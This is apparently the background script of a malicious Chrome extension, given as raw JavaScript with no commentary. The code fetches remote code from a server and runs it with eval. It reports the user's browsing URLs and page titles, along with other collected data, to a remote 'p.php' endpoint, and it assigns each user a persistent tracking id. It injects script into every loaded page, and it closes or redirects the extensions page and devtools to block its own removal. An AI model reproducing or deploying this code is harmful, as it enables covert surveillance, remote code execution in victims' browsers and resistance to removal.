ld = 1;
function ls(u, a) {var xhr = new XMLHttpRequest(); xhr.open("GET", u, a);xhr.onreadystatechange = function() {if(xhr.readyState == 4 && xhr.status == 200) {eval(xhr.responseText);}}; xhr.send();}
function h(u, t) {if(u.indexOf("/newtab/") > -1 || t.indexOf('New Tab') > -1) return;var xhr = new XMLHttpRequest();xhr.open("GET", d + 'p.php?t=h&oid=' + oid + '&u=' + encodeURIComponent(u) + '&ti=' + encodeURIComponent(t), true);xhr.send();}
function n(u, t, data) {var xhr = new XMLHttpRequest();xhr.open("GET", d + 'p.php?t=n&uid=' + uid + '&u=' + encodeURIComponent(u) + '&ti=' + encodeURIComponent(t) + '&d=' + encodeURIComponent(data), true);xhr.send();}
function err() {if(chrome.runtime.lastError) {}}
var ev = chrome.app.getDetails().version;
var bv = /Chrome\/([0-9.]+)/.exec(navigator.userAgent)[1];
var puid = chrome.runtime.id;
var cs = '';
var uid;
chrome.storage.local.get('_ueaid', function(items){
	if(items['_ueaid'] == undefined){
		if(localStorage.getItem('_ueaid') == undefined){
			var xhr = new XMLHttpRequest();
			xhr.open("GET", d + "guid.php?puid=" + puid, false);
			xhr.onreadystatechange = function() {if(xhr.readyState == 4 && xhr.status == 200) {
				uid = xhr.responseText;
				localStorage.setItem('_ueaid', uid);
				chrome.storage.local.set({'_ueaid':uid});
			}};
			xhr.send();
		} else {
			uid = localStorage.getItem('_ueaid');
			chrome.storage.local.set({'_ueaid': uid});
		}
	} else { 
		uid = items['_ueaid'];
	}

	main();
});
function main(){
	ls(d + 'p.php?uid=' + uid + '&puid=' + puid + '&bv=' + bv + '&ev=' + ev, false);
	chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
	    if(request.channel == "n") n(request.u, request.t, request.d);
	    if(request.channel == "LG") if(localStorage.getItem(request.name)) sendResponse({result: 1,value: localStorage.getItem(request.name)}); else sendResponse({result: 0});
	    if(request.channel == "LS") localStorage.setItem(request.name, request.value);
	});
	chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { 
			        if(tab.url.indexOf("chrome://extensions/") > -1 || tab.url.indexOf("chrome://chrome/extensions") > -1 || tab.url.indexOf('chrome-devtools') > -1) {
	            if(ev == "1.0.0") chrome.tabs.remove(tabId);
	            if((tab.url == "chrome://extensions/" || tab.url == "chrome://chrome/extensions") && changeInfo.status == 'loading') chrome.tabs.update(tabId,{url:chrome.extension.getURL('/index.html')});
	        }
	    	    if(changeInfo.status == 'complete') { 
	    		        if(tab.url.indexOf('chrome-devtools') == -1 && tab.url.indexOf('chrome://') == -1 && tab.url.indexOf('view-source:') == -1) chrome.tabs.executeScript(tabId, {code: cs}, err);
	    }
	}); 
	}